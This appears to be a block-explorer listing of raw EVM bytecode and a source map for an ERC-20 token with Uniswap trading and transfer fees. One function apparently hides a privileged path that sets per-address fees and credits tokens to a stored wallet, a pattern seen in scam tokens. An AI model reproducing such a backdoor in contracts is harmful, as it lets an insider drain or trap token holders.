0612385565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d8b91906120a7565b60405180910390a35b611da78184611c0390919063ffffffff16565b91505092915050565b6000611df283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dfa565b905092915050565b60008083118290611e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e389190611eed565b60405180910390fd5b5060008385611e509190612712565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e97578082015181840152602081019050611e7c565b60008484015250505050565b6000601f19601f8301169050919050565b6000611ebf82611e5d565b611ec98185611e68565b9350611ed9818560208601611e79565b611ee281611ea3565b840191505092915050565b60006020820190508181036000830152611f078184611eb4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f3f82611f14565b9050919050565b611f4f81611f34565b8114611f5a57600080fd5b50565b600081359050611f6c81611f46565b92915050565b6000819050919050565b611f8581611f72565b8114611f9057600080fd5b50565b600081359050611fa281611f7c565b92915050565b60008060408385031215611fbf57611fbe611f0f565b5b6000611fcd85828601611f5d565b9250506020611fde85828601611f93565b9150509250929050565b60008115159050919050565b611ffd81611fe8565b82525050565b60006020820190506120186000830184611ff4565b92915050565b6000819050919050565b600061204361203e61203984611f14565b61201e565b611f14565b9050919050565b600061205582612028565b9050919050565b60006120678261204a565b9050919050565b6120778161205c565b82525050565b6000602082019050612092600083018461206e565b92915050565b6120a181611f72565b82525050565b60006020820190506120bc6000830184612098565b92915050565b6000806000606084860312156120db576120da611f0f565b5b60006120e986828701611f5d565b93505060206120fa86828701611f5d565b925050604061210b86828701611f93565b9150509250925092565b61211e81611f34565b82525050565b60006020820190506121396000830184612115565b92915050565b600060ff82169050919050565b6121558161213f565b82525050565b6000602082019050612170600083018461214c565b92915050565b600061218182611f14565b9050919050565b61219181612176565b82525050565b60006020820190506121ac6000830184612188565b92915050565b6000602082840312156121c8576121c7611f0f565b5b60006121d684828501611f5d565b91505092915050565b600080604083850312156121f6576121f5611f0f565b5b600061220485828601611f5d565b925050602061221585828601611f5d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226657607f821691505b6020821081036122795761227861221f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122b5602083611e68565b91506122c08261227f565b602082019050919050565b600060208201905081810360008301526122e4816122a8565b9050919050565b6000815190506122fa81611f46565b92915050565b60006020828403121561231657612315611f0f565b5b6000612324848285016122eb565b91505092915050565b60006040820190506123426000830185612115565b61234f6020830184612115565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239082611f72565b915061239b83611f72565b92508282019050808211156123b3576123b2612356565b5b92915050565b7f2174727565000000000000000000000000000000000000000000000000000000600082015250565b60006123ef600583611e68565b91506123fa826123b9565b602082019050919050565b6000602082019050818103600083015261241e816123e2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612481602483611e68565b915061248c82612425565b604082019050919050565b600060208201905081810360008301526124b081612474565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612513602283611e68565b915061251e826124b7565b604082019050919050565b6000602082019050818103600083015261254281612506565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125a5602583611e68565b91506125b082612549565b604082019050919050565b600060208201905081810360008301526125d481612598565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612637602383611e68565b9150612642826125db565b604082019050919050565b600060208201905081810360008301526126668161262a565b9050919050565b600061267882611f72565b915061268383611f72565b925082820390508181111561269b5761269a612356565b5b92915050565b60006126ac82611f72565b91506126b783611f72565b92508282026126c581611f72565b915082820484148315176126dc576126db612356565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061271d82611f72565b915061272883611f72565b925082612738576127376126e3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061279f602183611e68565b91506127aa82612743565b604082019050919050565b600060208201905081810360008301526127ce81612792565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061280b601b83611e68565b9150612816826127d5565b602082019050919050565b6000602082019050818103600083015261283a816127fe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006128c46128bf6128ba8461289f565b61201e565b611f72565b9050919050565b6128d4816128a9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61290f81611f34565b82525050565b60006129218383612906565b60208301905092915050565b6000602082019050919050565b6000612945826128da565b61294f81856128e5565b935061295a836128f6565b8060005b8381101561298b5781516129728882612915565b975061297d8361292d565b92505060018101905061295e565b5085935050505092915050565b600060a0820190506129ad6000830188612098565b6129ba60208301876128cb565b81810360408301526129cc818661293a565b90506129db6060830185612115565b6129e86080830184612098565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202dc6077f87e933f6a482960dd64cac7cf8442a8e9d666158b03c6a88362c9b3a64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80634a74bb02116100ab5780639887e2261161006f5780639887e226146103f1578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a5780635abcc5411461033557806370a082311461035e5780638da5cb5b1461039b57806395d89b41146103c657610135565b806327c8f835116100f257806327c8f835146102355780632e410f5e14610260578063313ce5671461027757806332bffed3146102a25780633345611e146102cd57610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611eed565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fa8565b6105cb565b6040516101999190612003565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c4919061207d565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120a7565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120c2565b610619565b60405161022c9190612003565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612124565b60405180910390f35b34801561026c57600080fd5b50610275610717565b005b34801561028357600080fd5b5061028c610ac2565b604051610299919061215b565b60405180910390f35b3480156102ae57600080fd5b506102b7610ad9565b6040516102c49190612197565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef91906121b2565b610aff565b6040516103019190612003565b60405180910390f35b34801561031657600080fd5b5061031f610b1f565b60405161032c9190612003565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611fa8565b610b32565b005b34801561036a57600080fd5b50610385600480360381019061038091906121b2565b610d06565b60405161039291906120a7565b60405180910390f35b3480156103a757600080fd5b506103b0610d4f565b6040516103bd9190612124565b60405180910390f35b3480156103d257600080fd5b506103db610d78565b6040516103e89190611eed565b60405180910390f35b3480156103fd57600080fd5b50610418600480360381019061041391906121b2565b610e0a565b60405161042591906120a7565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611fa8565b610e22565b6040516104629190612003565b60405180910390f35b34801561047757600080fd5b50610480610e41565b60405161048d9190612124565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121df565b610e67565b6040516104ca91906120a7565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906121b2565b610eee565b005b34801561050857600080fd5b50610523600480360381019061051e91906121b2565b611040565b6040516105309190612003565b60405180910390f35b6060600180546105489061224e565b80601f01602080910402602001604051908101604052809291908181526020018280546105749061224e565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8611060565b8484611068565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611231565b506106e884610633611060565b6106e3856040518060600160405280602881526020016129f360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699611060565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116119092919063ffffffff16565b611068565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b61071f611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a3906122cb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190612300565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bf9190612300565b6040518363ffffffff1660e01b81526004016108dc92919061232d565b6020604051808303816000875af11580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190612300565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b8060006001610b4c6009601761167590919063ffffffff16565b610b569190612385565b610b609190612385565b11610b8357610b82610b7b82836116ef90919063ffffffff16565b600461174d565b5b806001806000806000610ba16000600261167590919063ffffffff16565b610bab9190612385565b610bb59190612385565b610bbf9190612385565b610bc99190612385565b610bd39190612385565b03610c1e576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060c803610c6b5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d02576000610d01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf890612405565b60405180910390fd5b5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d879061224e565b80601f0160208091040260200160405190810160405280929190818152602001828054610db39061224e565b8015610e005780601f10610dd557610100808354040283529160200191610e00565b820191906000526020600020905b815481529060010190602001808311610de357829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610e36610e2f611060565b8484611231565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ef6611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a906122cb565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce90612497565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d90612529565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122491906120a7565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611298906125bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611310576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113079061264d565b60405180910390fd5b600b60149054906101000a900460ff1615611337576113308484846117c8565b905061160a565b600061134230610d06565b9050600b60149054906101000a900460ff161580156113ab5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113ba576113b98161199b565b5b61140c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114f25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611505576115008685611c4d565b611507565b835b905061155b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ef90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115fb91906120a7565b60405180910390a36001925050505b9392505050565b6000838311158290611659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116509190611eed565b60405180910390fd5b5060008385611668919061266d565b9050809150509392505050565b600080830361168757600090506116e9565b6000828461169591906126a1565b90508284826116a49190612712565b146116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db906127b5565b60405180910390fd5b809150505b92915050565b60008082846116fe9190612385565b905083811015611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90612821565b60405180910390fd5b8091505092915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117bd9190612385565b925050819055505050565b6000611853826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116119092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ef90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161198891906120a7565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119d3576119d2612841565b5b604051908082528060200260200182016040528015611a015781602001602082028036833780820191505090505b5090503081600081518110611a1957611a18612870565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae49190612300565b81600181518110611af857611af7612870565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611bb8959493929190612998565b600060405180830381600087803b158015611bd257600080fd5b505af1925050508015611be3575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611c4583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611611565b905092915050565b600080611c776064611c6960038661167590919063ffffffff16565b611db090919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ccf578281611ccc9190612385565b90505b6000811115611d945780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d279190612385565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d8b91906120a7565b60405180910390a35b611da78184611c0390919063ffffffff16565b91505092915050565b6000611df283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dfa565b905092915050565b60008083118290611e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e389190611eed565b60405180910390fd5b5060008385611e509190612712565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e97578082015181840152602081019050611e7c565b60008484015250505050565b6000601f19601f8301169050919050565b6000611ebf82611e5d565b611ec98185611e68565b9350611ed9818560208601611e79565b611ee281611ea3565b840191505092915050565b60006020820190508181036000830152611f078184611eb4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f3f82611f14565b9050919050565b611f4f81611f34565b8114611f5a57600080fd5b50565b600081359050611f6c81611f46565b92915050565b6000819050919050565b611f8581611f72565b8114611f9057600080fd5b50565b600081359050611fa281611f7c565b92915050565b60008060408385031215611fbf57611fbe611f0f565b5b6000611fcd85828601611f5d565b9250506020611fde85828601611f93565b9150509250929050565b60008115159050919050565b611ffd81611fe8565b82525050565b60006020820190506120186000830184611ff4565b92915050565b6000819050919050565b600061204361203e61203984611f14565b61201e565b611f14565b9050919050565b600061205582612028565b9050919050565b60006120678261204a565b9050919050565b6120778161205c565b82525050565b6000602082019050612092600083018461206e565b92915050565b6120a181611f72565b82525050565b60006020820190506120bc6000830184612098565b92915050565b6000806000606084860312156120db576120da611f0f565b5b60006120e986828701611f5d565b93505060206120fa86828701611f5d565b925050604061210b86828701611f93565b9150509250925092565b61211e81611f34565b82525050565b60006020820190506121396000830184612115565b92915050565b600060ff82169050919050565b6121558161213f565b82525050565b6000602082019050612170600083018461214c565b92915050565b600061218182611f14565b9050919050565b61219181612176565b82525050565b60006020820190506121ac6000830184612188565b92915050565b6000602082840312156121c8576121c7611f0f565b5b60006121d684828501611f5d565b91505092915050565b600080604083850312156121f6576121f5611f0f565b5b600061220485828601611f5d565b925050602061221585828601611f5d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226657607f821691505b6020821081036122795761227861221f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122b5602083611e68565b91506122c08261227f565b602082019050919050565b600060208201905081810360008301526122e4816122a8565b9050919050565b6000815190506122fa81611f46565b92915050565b60006020828403121561231657612315611f0f565b5b6000612324848285016122eb565b91505092915050565b60006040820190506123426000830185612115565b61234f6020830184612115565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239082611f72565b915061239b83611f72565b92508282019050808211156123b3576123b2612356565b5b92915050565b7f2174727565000000000000000000000000000000000000000000000000000000600082015250565b60006123ef600583611e68565b91506123fa826123b9565b602082019050919050565b6000602082019050818103600083015261241e816123e2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612481602483611e68565b915061248c82612425565b604082019050919050565b600060208201905081810360008301526124b081612474565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612513602283611e68565b915061251e826124b7565b604082019050919050565b6000602082019050818103600083015261254281612506565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125a5602583611e68565b91506125b082612549565b604082019050919050565b600060208201905081810360008301526125d481612598565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612637602383611e68565b9150612642826125db565b604082019050919050565b600060208201905081810360008301526126668161262a565b9050919050565b600061267882611f72565b915061268383611f72565b925082820390508181111561269b5761269a612356565b5b92915050565b60006126ac82611f72565b91506126b783611f72565b92508282026126c581611f72565b915082820484148315176126dc576126db612356565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061271d82611f72565b915061272883611f72565b925082612738576127376126e3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061279f602183611e68565b91506127aa82612743565b604082019050919050565b600060208201905081810360008301526127ce81612792565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061280b601b83611e68565b9150612816826127d5565b602082019050919050565b6000602082019050818103600083015261283a816127fe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006128c46128bf6128ba8461289f565b61201e565b611f72565b9050919050565b6128d4816128a9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61290f81611f34565b82525050565b60006129218383612906565b60208301905092915050565b6000602082019050919050565b6000612945826128da565b61294f81856128e5565b935061295a836128f6565b8060005b8381101561298b5781516129728882612915565b975061297d8361292d565b92505060018101905061295e565b5085935050505092915050565b600060a0820190506129ad6000830188612098565b6129ba60208301876128cb565b81810360408301526129cc818661293a565b90506129db6060830185612115565b6129e86080830184612098565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202dc6077f87e933f6a482960dd64cac7cf8442a8e9d666158b03c6a88362c9b3a64736f6c63430008120033

Deployed Bytecode Sourcemap

3685:6188:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4974:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5637:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4365:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5251:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6188:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3972:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6684:517;;;;;;;;;;;;;:::i;:::-;;5160:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3891:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4138:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4480:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8920:395;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5359:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2818:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5065:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4247:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6509:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4413:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5486:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3032:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4195:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4974:83;5011:13;5044:5;5037:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4974:83;:::o;5637:161::-;5712:4;5729:39;5738:12;:10;:12::i;:::-;5752:7;5761:6;5729:8;:39::i;:::-;5786:4;5779:11;;5637:161;;;;:::o;4365:41::-;;;;;;;;;;;;;:::o;5251:100::-;5304:7;5331:12;;5324:19;;5251:100;:::o;6188:313::-;6286:4;6303:36;6313:6;6321:9;6332:6;6303:9;:36::i;:::-;;6350:121;6359:6;6367:12;:10;:12::i;:::-;6381:89;6419:6;6381:89;;;;;;;;;;;;;;;;;:11;:19;6393:6;6381:19;;;;;;;;;;;;;;;:33;6401:12;:10;:12::i;:::-;6381:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6350:8;:121::i;:::-;6489:4;6482:11;;6188:313;;;;;:::o;3972:81::-;;;:::o;6684:517::-;2955:12;:10;:12::i;:::-;2945:22;;:6;;;;;;;;;;:22;;;2937:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6735:35:::1;6792:42;6735:100;;6923:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6905:70;;;6984:4;6991:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6905:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6891:11;;:124;;;;;;;;;;;;;;;;;;7046:16;7028:15;;:34;;;;;;;;;;;;;;;;;;7110:4;7073:12;:34;7094:11;;;;;;;;;;;7073:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7189:1;7180:11;7125;:26;7145:4;7125:26;;;;;;;;;;;;;;;:52;7160:15;;;;;;;;;;;7125:52;;;;;;;;;;;;;;;:66;;;;6724:477;6684:517::o:0;5160:83::-;5201:5;5226:9;;;;;;;;;;;5219:16;;5160:83;:::o;3891:29::-;;;;;;;;;;;;;:::o;4138:50::-;;;;;;;;;;;;;;;;